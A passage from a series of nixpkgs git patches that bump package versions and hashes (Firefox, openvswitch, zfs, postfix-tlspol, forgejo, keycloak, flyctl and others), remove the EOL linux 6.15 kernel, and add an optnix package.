-      sha256 = "87c960a50f4faa5a2cc014ee0a606d81db02940e27e8bd5fbcc350c8307e95ff";
+      sha256 = "344934ec29be2436f58199634910df67f314f14efeef817aceaef8173d4c44ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/uz/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/uz/Firefox%20142.0.1.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "eff4db1e7df4f9b01965d6426c4eaef00fce0590e9eddd2b2db051eb87070f3c";
+      sha256 = "32568bf19787b59af40b31c96499d98b66cb32d20e13f6256b34ecd03764d74f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/vi/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/vi/Firefox%20142.0.1.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "0d6b49681350c606082d6e4048465052a19adb32820d3597639ef359a4179ccb";
+      sha256 = "b4267f38ac661549bdebeebe01fcd2f226296450118d011ca06d6a8e5a8da9b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/xh/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/xh/Firefox%20142.0.1.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "246678a63fb7db4966f4d1102612b395b9e90a7d710e66258b82f2bff9217efe";
+      sha256 = "fc17aa035229e2ec685072a547788108a372afae9904f50c3737c1b70228f6ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/zh-CN/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/zh-CN/Firefox%20142.0.1.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "eb1d70e7a0bd4051de0ab075d9d92adaf5075e61a8643f76fb475eed3dab6cc1";
+      sha256 = "6c05f1148c4007eecf5a90ff048df35a89970df952a32543c4f8f82429e9b09f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/zh-TW/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/zh-TW/Firefox%20142.0.1.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "667eab6bfd0de0bf2b77fa455547152b2fe21b4bb2b7c9ae91a98673b97b21f8";
+      sha256 = "8dfe4959434de8b6fd995517a9243870788bbba4865cb58e51c5e86a67e536ac";
     }
   ];
 }

From 386f454f176d9c6056c5951d4ab178dbb772a536 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Sun, 31 Aug 2025 09:25:12 -0400
Subject: [PATCH 4106/4511] openvswitch: 3.5.1 -> 3.5.2

Changelog: https://www.openvswitch.org/releases/NEWS-3.5.2.txt
---
 pkgs/by-name/op/openvswitch/package.nix | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/openvswitch/package.nix b/pkgs/by-name/op/openvswitch/package.nix
index 1795da60b495..14c273cc8cfe 100644
--- a/pkgs/by-name/op/openvswitch/package.nix
+++ b/pkgs/by-name/op/openvswitch/package.nix
@@ -30,13 +30,13 @@
 
 stdenv.mkDerivation rec {
   pname = if withDPDK then "openvswitch-dpdk" else "openvswitch";
-  version = "3.5.1";
+  version = "3.5.2";
 
   src = fetchFromGitHub {
     owner = "openvswitch";
     repo = "ovs";
     tag = "v${version}";
-    hash = "sha256-iiFpX4w6vdsRxjhRcxXTTtSAb8WPwg1afqwgBpzjhoA=";
+    hash = "sha256-x3n/Hv0hRx6d16qvIP40jFAOj6kli6u+5W95qGXvxuA=";
   };
 
   outputs = [
@@ -132,7 +132,12 @@ stdenv.mkDerivation rec {
       incus = nixosTests.incus-lts.openvswitch;
     };
 
-    updateScript = nix-update-script { };
+    updateScript = nix-update-script {
+      extraArgs = [
+        "--version-regex"
+        "^v(3\\.5\\.[0-9]+)$"
+      ];
+    };
   };
 
   meta = with lib; {

From aed1df8d73c24e20c494eb69ce4d73761219b5d4 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Mon, 25 Aug 2025 23:03:33 +0000
Subject: [PATCH 4107/4511] zfs_2_3: 2.3.3 -> 2.3.4

Changelog: https://github.com/openzfs/zfs/releases/tag/zfs-2.3.4
(cherry picked from commit 7b7f93af755f48c0ab47411a33d97a26a92ef0af)
---
 pkgs/os-specific/linux/zfs/2_3.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/zfs/2_3.nix b/pkgs/os-specific/linux/zfs/2_3.nix
index 1b4f0e642bf5..23efbb180217 100644
--- a/pkgs/os-specific/linux/zfs/2_3.nix
+++ b/pkgs/os-specific/linux/zfs/2_3.nix
@@ -11,10 +11,10 @@ callPackage ./generic.nix args {
   # this attribute is the correct one for this package.
   kernelModuleAttribute = "zfs_2_3";
   # check the release notes for compatible kernels
-  kernelCompatible = kernel: kernel.kernelOlder "6.16";
+  kernelCompatible = kernel: kernel.kernelOlder "6.17";
 
   # this package should point to the latest release.
-  version = "2.3.3";
+  version = "2.3.4";
 
   tests = {
     inherit (nixosTests.zfs) series_2_3;
@@ -28,5 +28,5 @@ callPackage ./generic.nix args {
     amarshall
   ];
 
-  hash = "sha256-NXAbyGBfpzWfm4NaP1/otTx8fOnoRV17343qUMdQp5U=";
+  hash = "sha256-8BSuDRDyqPGAiyGGxFyEZIcXB+cKsKk25jcFPrSK3GI=";
 }

From 7a9baae4e77185420cd523ffa6a614ed841d7317 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sat, 23 Aug 2025 20:03:55 +0200
Subject: [PATCH 4108/4511] linux_6_15: remove

EOL upstream.

We only have one hardened kernel at the moment now because
LTS == latest available. This situation would've also happened before
the cleanup since 6.13/6.14 were removed in June already[1].

[1] 23b573705de96bf400a30d22bc195acb0763ac12

(cherry picked from commit 510532e9ae384493070086dc525bb6e7af2129d2)
---
 .../configuration/linux-kernel.chapter.md     |  6 ++++++
 nixos/tests/kernel-generic.nix                |  2 --
 .../linux/kernel/hardened/patches.json        | 20 -------------------
 .../os-specific/linux/kernel/kernels-org.json |  5 -----
 pkgs/top-level/linux-kernels.nix              | 13 ++++--------
 5 files changed, 10 insertions(+), 36 deletions(-)

diff --git a/nixos/doc/manual/configuration/linux-kernel.chapter.md b/nixos/doc/manual/configuration/linux-kernel.chapter.md
index dcd47e0126e0..2046fd38d291 100644
--- a/nixos/doc/manual/configuration/linux-kernel.chapter.md
+++ b/nixos/doc/manual/configuration/linux-kernel.chapter.md
@@ -24,6 +24,12 @@ abandoned by the kernel developers, even on stable NixOS versions. If you
 pin your kernel onto a non-longterm version, expect your evaluation to fail as
 soon as the version is out of maintenance.
 
+A kernel will be removed from nixpkgs when the first batch of stable kernels
+_after_ the final release is published. E.g. when 6.15.11 is the final release
+of the 6.15 series and is released together with 6.16.3 and 6.12.43, it will be
+removed on the release of 6.16.4 and 6.12.44. Custom kernel variants such
+as linux-hardened are also affected by this.
+
 Longterm versions of kernels will be removed before the next stable NixOS that will
 exceed the maintenance period of the kernel version.
 
diff --git a/nixos/tests/kernel-generic.nix b/nixos/tests/kernel-generic.nix
index 34e0597777a6..43e744206997 100644
--- a/nixos/tests/kernel-generic.nix
+++ b/nixos/tests/kernel-generic.nix
@@ -41,8 +41,6 @@ let
       linux_6_1_hardened
       linux_6_6_hardened
       linux_6_12_hardened
-      linux_6_13_hardened
-      linux_6_14_hardened
       linux_rt_5_4
       linux_rt_5_10
       linux_rt_5_15
diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index a2c9452954c0..0b7cf6152e63 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -49,26 +49,6 @@
         "sha256": "0kf2f3r96npzs01kdq3q2ag7zg8l3avfyqwv5qbs9v373wwgxwx7",
         "version": "6.12.34"
     },
-    "6.13": {
-        "patch": {
-            "extra": "-hardened1",
-            "name": "linux-hardened-v6.13.12-hardened1.patch",
-            "sha256": "0i9raq3qcc6pxvs9l6yn5b6k8kiywwlis33kkpd8byqhs57aqsic",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.13.12-hardened1/linux-hardened-v6.13.12-hardened1.patch"
-        },
-        "sha256": "0hhj49k3ksjcp0dg5yiahqzryjfdpr9c1a9ph6j9slzmkikbn7v1",
-        "version": "6.13.12"
-    },
-    "6.14": {
-        "patch": {
-            "extra": "-hardened1",
-            "name": "linux-hardened-v6.14.11-hardened1.patch",
-            "sha256": "07f0d76rag6jcclxdl24w70545fb8jrqy98xcdmgxwjabclaa1lp",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.14.11-hardened1/linux-hardened-v6.14.11-hardened1.patch"
-        },
-        "sha256": "06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z",
-        "version": "6.14.11"
-    },
     "6.6": {
         "patch": {
             "extra": "-hardened1",
diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 7234a4bf12a1..9ba0087f00b2 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -34,11 +34,6 @@
         "hash": "sha256:1bmx2vpxy6nkxnmm2a3zmv9smaajfhvslj6id54j4yq2sc722l5n",
         "lts": true
     },
-    "6.15": {
-        "version": "6.15.11",
-        "hash": "sha256:14sxwrvw9p4ybizb8ky1rgahc62q0aw5qkmzqp3cpnavqfgldaw9",
-        "lts": false
-    },
     "6.16": {
         "version": "6.16.4",
         "hash": "sha256:08mnd8qir2vxjmgblhnqfrfbv2zlig68f4r5askk7d8h3b3y79fn",
diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix
index 966eaf60ad44..6fbc3f79b7f4 100644
--- a/pkgs/top-level/linux-kernels.nix
+++ b/pkgs/top-level/linux-kernels.nix
@@ -211,14 +211,6 @@ in
           ];
         };
 
-        linux_6_15 = callPackage ../os-specific/linux/kernel/mainline.nix {
-          branch = "6.15";
-          kernelPatches = [
-            kernelPatches.bridge_stp_helper
-            kernelPatches.request_key_helper
-          ];
-        };
-
         linux_6_16 = callPackage ../os-specific/linux/kernel/mainline.nix {
           branch = "6.16";
           kernelPatches = [
@@ -319,6 +311,7 @@ in
         linux_6_11 = throw "linux 6.11 was removed because it has reached its end of life upstream";
         linux_6_13 = throw "linux 6.13 was removed because it has reached its end of life upstream";
         linux_6_14 = throw "linux 6.14 was removed because it has reached its end of life upstream";
+        linux_6_15 = throw "linux 6.15 was removed because it has reached its end of life upstream";
 
         linux_4_19_hardened = throw "linux 4.19 was removed because it will reach its end of life within 24.11";
         linux_6_9_hardened = throw "linux 6.9 was removed because it has reached its end of life upstream";
@@ -326,6 +319,7 @@ in
         linux_6_11_hardened = throw "linux 6.11 was removed because it has reached its end of life upstream";
         linux_6_13_hardened = throw "linux 6.13 was removed because it has reached its end of life upstream";
         linux_6_14_hardened = throw "linux 6.14 was removed because it has reached its end of life upstream";
+        linux_6_15_hardened = throw "linux 6.15 was removed because it has reached its end of life upstream";
 
         linux_ham = kernels.linux_latest;
       }
@@ -744,7 +738,6 @@ in
     linux_6_1 = recurseIntoAttrs (packagesFor kernels.linux_6_1);
     linux_6_6 = recurseIntoAttrs (packagesFor kernels.linux_6_6);
     linux_6_12 = recurseIntoAttrs (packagesFor kernels.linux_6_12);
-    linux_6_15 = recurseIntoAttrs (packagesFor kernels.linux_6_15);
     linux_6_16 = recurseIntoAttrs (packagesFor kernels.linux_6_16);
   }
   // lib.optionalAttrs config.allowAliases {
@@ -754,6 +747,7 @@ in
     linux_6_11 = throw "linux 6.11 was removed because it reached its end of life upstream"; # Added 2025-03-23
     linux_6_13 = throw "linux 6.13 was removed because it reached its end of life upstream"; # Added 2025-06-22
     linux_6_14 = throw "linux 6.14 was removed because it reached its end of life upstream"; # Added 2025-06-22
+    linux_6_15 = throw "linux 6.15 was removed because it reached its end of life upstream"; # Added 2025-08-23
   };
 
   rtPackages = {
@@ -809,6 +803,7 @@ in
       linux_ham = recurseIntoAttrs (packagesFor kernels.linux_latest);
       linux_6_13_hardened = throw "linux 6.13 was removed because it has reached its end of life upstream";
       linux_6_14_hardened = throw "linux 6.14 was removed because it has reached its end of life upstream";
+      linux_6_15_hardened = throw "linux 6.15 was removed because it has reached its end of life upstream";
     }
   );
 

From d427bffe369418c66f224417bbce3ce65663864a Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 31 Aug 2025 01:53:32 +0200
Subject: [PATCH 4109/4511] postfix-tlspol: 1.8.14 -> 1.8.15

https://github.com/Zuplu/postfix-tlspol/releases/tag/v1.8.15
(cherry picked from commit cfc934a91fdc0a38ade9562bc3f7e4f8a60a150f)
---
 pkgs/by-name/po/postfix-tlspol/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index 1c87efbac06f..488d31bba16f 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "postfix-tlspol";
-  version = "1.8.14";
+  version = "1.8.15";
 
   src = fetchFromGitHub {
     owner = "Zuplu";
     repo = "postfix-tlspol";
     tag = "v${version}";
-    hash = "sha256-lfezkGMmdYlstchUWGoofCfJLIHOStaDwR/A5j1EOGc=";
+    hash = "sha256-DqFBXU9b6TOujG464Ww4iAA04NA5j0z9N00F7mbV92Q=";
   };
 
   vendorHash = null;

From be5e42da13df98d8cf431fb16dc51e22d31132aa Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 10 Aug 2025 17:43:19 +0200
Subject: [PATCH 4110/4511] linux/hardened/patches/6.12: v6.12.34-hardened1 ->
 v6.12.41-hardened1

(cherry picked from commit a09f85b9e7e569877ac240be35ec348e4229321b)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 0b7cf6152e63..014c4611b487 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -42,12 +42,12 @@
     "6.12": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.12.34-hardened1.patch",
-            "sha256": "1aw8r52gbxp53sgl4pwv51axw0kmgh3ib6gfvw81dlyaajmlbm6b",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.12.34-hardened1/linux-hardened-v6.12.34-hardened1.patch"
+            "name": "linux-hardened-v6.12.41-hardened1.patch",
+            "sha256": "1a0gc03nr0aiy2zadg6hfy718nlb2k8p5h5ymvwsdl6kblxi9f47",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.12.41-hardened1/linux-hardened-v6.12.41-hardened1.patch"
         },
-        "sha256": "0kf2f3r96npzs01kdq3q2ag7zg8l3avfyqwv5qbs9v373wwgxwx7",
-        "version": "6.12.34"
+        "sha256": "09qfpxyxi3z8cd64r2r5mxvh54a5sx8p5mk4d50y4ga2k6pa66bb",
+        "version": "6.12.41"
     },
     "6.6": {
         "patch": {

From f36fdd634d2dd433e6abf9d583ecbf2f209aceb9 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 31 Aug 2025 16:09:55 +0200
Subject: [PATCH 4111/4511] postfix-tlspol: 1.8.15 -> 1.8.16

https://github.com/Zuplu/postfix-tlspol/releases/tag/v1.8.16
(cherry picked from commit 609cad27ad25a6cf91d8a3b08f7c9bbedec1ff2c)
---
 nixos/modules/services/mail/postfix-tlspol.nix | 15 ++++++---------
 pkgs/by-name/po/postfix-tlspol/package.nix     |  4 ++--
 2 files changed, 8 insertions(+), 11 deletions(-)

diff --git a/nixos/modules/services/mail/postfix-tlspol.nix b/nixos/modules/services/mail/postfix-tlspol.nix
index e7104d79b4fe..0841e7b6943a 100644
--- a/nixos/modules/services/mail/postfix-tlspol.nix
+++ b/nixos/modules/services/mail/postfix-tlspol.nix
@@ -94,16 +94,13 @@ in
 
           dns = {
             address = mkOption {
-              type = types.str;
-              default = if config.networking.resolvconf.useLocalResolver then "127.0.0.1:53" else null;
-              defaultText = literalExpression ''
-                if config.networking.resolvconf.useLocalResolver then
-                  "127.0.0.1:53"
-                else
-                  null
-              '';
+              type = with types; nullOr str;
+              default = null;
+              example = "127.0.0.1:53";
               description = ''
-                IP and port to your DNS resolver
+                IP and port to your DNS resolver.
+
+                Uses resolvers from /etc/resolv.conf if unset.
 
                 ::: {.note}
                 The configured DNS resolver must validate DNSSEC signatures.
diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index 488d31bba16f..fb549cfde552 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "postfix-tlspol";
-  version = "1.8.15";
+  version = "1.8.16";
 
   src = fetchFromGitHub {
     owner = "Zuplu";
     repo = "postfix-tlspol";
     tag = "v${version}";
-    hash = "sha256-DqFBXU9b6TOujG464Ww4iAA04NA5j0z9N00F7mbV92Q=";
+    hash = "sha256-Yndu5QpPxAVbkatJDa1yqkEfnJr5M5lLImtMKvt9juQ=";
   };
 
   vendorHash = null;

From 7f7f5d63fa6f5e784f852ba36a16142968a0265b Mon Sep 17 00:00:00 2001
From: Chris Moultrie <821688+tebriel@users.noreply.github.com>
Date: Sun, 31 Aug 2025 10:03:43 -0400
Subject: [PATCH 4112/4511] forgejo: 12.0.1 -> 12.0.2

changelog: https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/12.0.2.md
(cherry picked from commit da979c847740b40bf6cda9692e89209a99a734cf)
---
 pkgs/by-name/fo/forgejo/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fo/forgejo/package.nix b/pkgs/by-name/fo/forgejo/package.nix
index 0f52612f16b4..91a2db1e1bbb 100644
--- a/pkgs/by-name/fo/forgejo/package.nix
+++ b/pkgs/by-name/fo/forgejo/package.nix
@@ -1,6 +1,6 @@
 import ./generic.nix {
-  version = "12.0.1";
-  hash = "sha256-MBk5QHjnyMXmQDIbMuehjcGN/PUN1ViRtIi1pJGHlW0=";
+  version = "12.0.2";
+  hash = "sha256-BkyzOrpwKkROKiZgSCr8Z7n8WO6qnkDyCBJ4HWO71Ws=";
   npmDepsHash = "sha256-kq2AV1D0xA4Csm8XUTU5D0iCmyuajcnwlLdPjJ/mj1g=";
   vendorHash = "sha256-B9menPCDUOYHPCS0B5KpxuE03FdFXmA8XqkiYEAxs5Y=";
   lts = false;

From 2857912ba0fe59a458b1d70b94135c80ff8f26f2 Mon Sep 17 00:00:00 2001
From: Chris Moultrie <821688+tebriel@users.noreply.github.com>
Date: Sun, 31 Aug 2025 10:04:05 -0400
Subject: [PATCH 4113/4511] forgejo-lts: 11.0.3 -> 11.0.4

changelog: https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/11.0.4.md
(cherry picked from commit ae6b720f9cccebdb9bf8adfe510a430642e4775d)
---
 pkgs/by-name/fo/forgejo/lts.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fo/forgejo/lts.nix b/pkgs/by-name/fo/forgejo/lts.nix
index 197afc0e9f67..35f170128a49 100644
--- a/pkgs/by-name/fo/forgejo/lts.nix
+++ b/pkgs/by-name/fo/forgejo/lts.nix
@@ -1,8 +1,8 @@
 import ./generic.nix {
-  version = "11.0.3";
-  hash = "sha256-tHanxcxpxVYKd28onKJnuB/Qtee2gop3yKjXJ+i9X4o=";
+  version = "11.0.4";
+  hash = "sha256-RI6eCJx1QTDkzY1oFKwCQyOrRXMd0TFihWofC4ZCv44=";
   npmDepsHash = "sha256-wsjosyZ5J5mU7ixbWjXnbqkvgnOE0dGz81vVqaI61go=";
-  vendorHash = "sha256-5eaPdvU2NbCgbL+rcCqzphTESLHGbGZ3MgtXknCjrSc=";
+  vendorHash = "sha256-Zfjp6EKiO74wYgvc85AwtDg+3Nf7lEa1ZKQMMcYPM34=";
   lts = true;
   nixUpdateExtraArgs = [
     "--override-filename"

From cd7498bc822ef15ba6a704bd7389b1da6b9d2c3d Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Mon, 21 Jul 2025 20:51:51 +0200
Subject: [PATCH 4114/4511] keycloak: switch to finalAttrs pattern

(cherry picked from commit 956c9fd0bf619867ad2f39f1698229ca81890a06)
---
 pkgs/by-name/ke/keycloak/package.nix | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ke/keycloak/package.nix b/pkgs/by-name/ke/keycloak/package.nix
index 2e178e756309..93ed5c213bc0 100644
--- a/pkgs/by-name/ke/keycloak/package.nix
+++ b/pkgs/by-name/ke/keycloak/package.nix
@@ -1,6 +1,6 @@
 {
-  stdenv,
   lib,
+  stdenv,
   fetchzip,
   makeWrapper,
   jre_headless,
@@ -22,12 +22,12 @@ let
     ) "--features-disabled=${lib.concatStringsSep "," disabledFeatures}"}
   '';
 in
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "keycloak";
   version = "26.2.5";
 
   src = fetchzip {
-    url = "https://github.com/keycloak/keycloak/releases/download/${version}/keycloak-${version}.zip";
+    url = "https://github.com/keycloak/keycloak/releases/download/${finalAttrs.version}/keycloak-${finalAttrs.version}.zip";
     hash = "sha256-yXbHdznZlrz4T2+154cM+eAmPO/TR5kRCVVi26H66ok=";
   };
 
@@ -103,5 +103,4 @@ stdenv.mkDerivation rec {
       leona
     ];
   };
-
-}
+})

From 93fea8e34a0e5c3651e2c14b0c4836c7990f3bcb Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Tue, 22 Jul 2025 10:12:33 +0200
Subject: [PATCH 4115/4511] keycloak: makeWrapper -> makeBinaryWrapper

(cherry picked from commit 5fd5a18fdefb282fc7dd075226383ab262325154)
---
 pkgs/by-name/ke/keycloak/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ke/keycloak/package.nix b/pkgs/by-name/ke/keycloak/package.nix
index 93ed5c213bc0..dc4968921a53 100644
--- a/pkgs/by-name/ke/keycloak/package.nix
+++ b/pkgs/by-name/ke/keycloak/package.nix
@@ -2,7 +2,7 @@
   lib,
   stdenv,
   fetchzip,
-  makeWrapper,
+  makeBinaryWrapper,
   jre_headless,
   nixosTests,
   callPackage,
@@ -32,7 +32,7 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   nativeBuildInputs = [
-    makeWrapper
+    makeBinaryWrapper
     jre_headless
   ];
 

From af39794d2a7403f0121a02cd11af252c2e7ff3aa Mon Sep 17 00:00:00 2001
From: FlameFlag <57304299+FlameFlag@users.noreply.github.com>
Date: Sun, 31 Aug 2025 18:06:38 +0300
Subject: [PATCH 4116/4511] warp-terminal: 0.2025.08.20.08.11.stable_03 ->
 0.2025.08.27.08.11.stable_03

(cherry picked from commit 82a3dc8a1c1c60c781f9e5f606edc703f73f42f6)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 004077f05d14..5d83b41522ba 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-qfhEXZbsqLhS1yTWwjbcUwUW5/3mIe2sC+GT6NG9bmY=",
-    "version": "0.2025.08.20.08.11.stable_03"
+    "hash": "sha256-A3D+rsbiz0Ai8w350em4jr8C8GJ0jHMrFEdPa0nobCM=",
+    "version": "0.2025.08.27.08.11.stable_03"
   },
   "linux_x86_64": {
-    "hash": "sha256-8aU5tFqqoD8yABQ2F5axqpD1ppL1FQyu5cY9MBEWgME=",
-    "version": "0.2025.08.20.08.11.stable_03"
+    "hash": "sha256-E45F+yhU/S+jbYxtTjtumfIaajQBWIGDTtV1b+KZVG8=",
+    "version": "0.2025.08.27.08.11.stable_03"
   },
   "linux_aarch64": {
-    "hash": "sha256-xFAMoRQJ1Qpuun+VRmmj8DnJaIk+/48zwyIUO9xl6io=",
-    "version": "0.2025.08.20.08.11.stable_03"
+    "hash": "sha256-x7HZeZVMrh5sayFghw47jLUO+5ks8U2xUh9eF136YkU=",
+    "version": "0.2025.08.27.08.11.stable_03"
   }
 }

From 4e2bc0c7bce2f54ecaa39ccee5e601ecd3fcefd4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 30 Aug 2025 03:25:54 +0000
Subject: [PATCH 4117/4511] flyctl: 0.3.171 -> 0.3.172

(cherry picked from commit 355729e522032d1380183fac696c505e425c55a0)
---
 pkgs/by-name/fl/flyctl/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index c1c6a35329a6..3e4f3e2488a3 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.171";
+  version = "0.3.172";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-9FJ/n2LoTrQmcO+J3eXxexggFhvP22yYFbrryd0rGtM=";
+    hash = "sha256-jKzlKOdE+SrCzY81ciI9sKN0iiFZMsKp04A+1TV1+i0=";
   };
 
-  vendorHash = "sha256-uXCy/8HkwqGnQEoNtyOErLw9byG8SWc5YdzYZXwjhW4=";
+  vendorHash = "sha256-D6b+dLoE4IdhsmnWILe7Thkggq3p0ur4C3BOz7Cuk98=";
 
   subPackages = [ "." ];
 

From df76d0f26e283ba458cfbed7672c46fb1b0fb130 Mon Sep 17 00:00:00 2001
From: Varun Narravula <varun@snare.dev>
Date: Thu, 17 Jul 2025 10:00:09 -0700
Subject: [PATCH 4118/4511] optnix: init at 0.2.0

(cherry picked from commit a3b6807072b871ae45c9ea492d571bcf892d5360)
---
 pkgs/by-name/op/optnix/package.nix | 59 ++++++++++++++++++++++++++++++
 1 file changed, 59 insertions(+)
 create mode 100644 pkgs/by-name/op/optnix/package.nix

diff --git a/pkgs/by-name/op/optnix/package.nix b/pkgs/by-name/op/optnix/package.nix
new file mode 100644
index 000000000000..81892cdd1b7f
--- /dev/null
+++ b/pkgs/by-name/op/optnix/package.nix
@@ -0,0 +1,59 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  buildGoModule,
+  installShellFiles,
+  nix-update-script,
+}:
+buildGoModule (finalAttrs: {
+  pname = "optnix";
+  version = "0.2.0";
+  src = fetchFromGitHub {
+    owner = "water-sucks";
+    repo = "optnix";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-CI0D70oP4usQXh39wm2z+s9QKQaaHFB6og3B/VHaAiY=";
+  };
+
+  vendorHash = "sha256-/rV21mX6VrJj39M6dBw4ubp6+O47hxeLn0ZcsG6Ujno=";
+
+  nativeBuildInputs = [ installShellFiles ];
+
+  env = {
+    CGO_ENABLED = 0;
+    VERSION = finalAttrs.version;
+  };
+
+  buildPhase = ''
+    runHook preBuild
+    make all
+    runHook postBuild
+  '';
+
+  installPhase = ''
+    runHook preInstall
+
+    install -Dm755 ./optnix -t $out/bin
+
+    runHook postInstall
+  '';
+
+  postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd optnix \
+      --bash <($out/bin/optnix --completion bash) \
+      --fish <($out/bin/optnix --completion fish) \
+      --zsh <($out/bin/optnix --completion zsh)
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    homepage = "https://github.com/water-sucks/optnix";
+    description = "Options searcher for Nix module systems";
+    changelog = "https://github.com/water-sucks/optnix/releases/tag/v${finalAttrs.version}";
+    license = lib.licenses.gpl3Only;
+    maintainers = with lib.maintainers; [ water-sucks ];
+    mainProgram = "optnix";
+  };
+})

From e15890c3fee2fda9387041334d1041d236846db5 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Sat, 23 Aug 2025 20:05:19 -0700
Subject: [PATCH 4119/4511] nixos/mattermost: remove fallback charset for MySQL

This was causing issues on newer versions of MariaDB (breaking
NixOS tests) like:

```
Error 1064 (42000): You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version
for the right syntax to use near '%2Cutf8' at line 1
```

Since this is simply a fallback character set and all supported versions
of MariaDB support utf8mb4, delete the fallback.

This change should be fully compatible with existing deployments.

